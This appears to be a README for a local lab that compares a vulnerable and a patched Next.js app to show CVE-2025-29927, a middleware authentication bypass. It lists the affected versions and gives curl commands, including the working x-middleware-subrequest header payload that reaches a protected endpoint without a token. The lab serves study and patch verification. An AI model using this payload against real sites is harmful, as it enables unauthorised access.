Next.js CVE-2025-29927 Middleware Vulnerability

This repository is a monorepo project that allows you to compare the CVE-2025-29927 middleware vulnerability between Next.js versions 15.2.3 and 15.1.7.

Vulnerability Description

CVE-2025-29927 is a security vulnerability discovered in Next.js middleware that allows bypassing authentication middleware using the x-middleware-subrequest header. This vulnerability affects the following versions:

• Next.js 15.x < 15.2.3
• Next.js 14.x < 14.2.25
• Next.js 13.x < 13.5.9 These versions have been fixed by updating to the respective patched versions.

How to Run

1. Clone the repository.
2. Install dependencies: pnpm install
3. Run the development server: pnpm dev
4. Access each app

• Patched version (15.2.3): http://localhost:3000
• Vulnerable version (15.1.7): http://localhost:3001

5. Access to /api/protected endpoint without a token will be denied.

$ curl http://localhost:3000/api/protected
// {"error":"Unauthorized"}

$ curl http://localhost:3001/api/protected
// {"error":"Unauthorized"}

6. Providing a valid token will successfully access the protected endpoint.

$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/protected
// {"message":"Hello World"}

$ curl -H "Authorization: my-jwt-token-here" http://localhost:3001/api/protected
// {"message":"Hello World"}

7. Bypass the middleware using the vulnerability.

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/protected
// {"error":"Unauthorized"}

curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/api/protected
// {"message":"Hello World"}

Project Structure

nextjs-cve-2025-29927/
├── apps/
│   ├── next15_1_7/  # vulnerable version
│   └── next15_2_3/  # patched version
├── packages/
│   └── ui/          # shared UI components
└── README.md

References

• Vercel Blog
• DevStefanCho YouTube
• https://hackyboiz.github.io/2025/03/27/bekim/2025-03-27/
• https://zhero-web-sec.github.io/research-and-things/nextjs-and-the-corrupt-middleware
• https://github.com/vercel/next.js/security/advisories/GHSA-f82v-jwr5-mffw
• https://github.com/lirantal/vulnerable-nextjs-14-CVE-2025-29927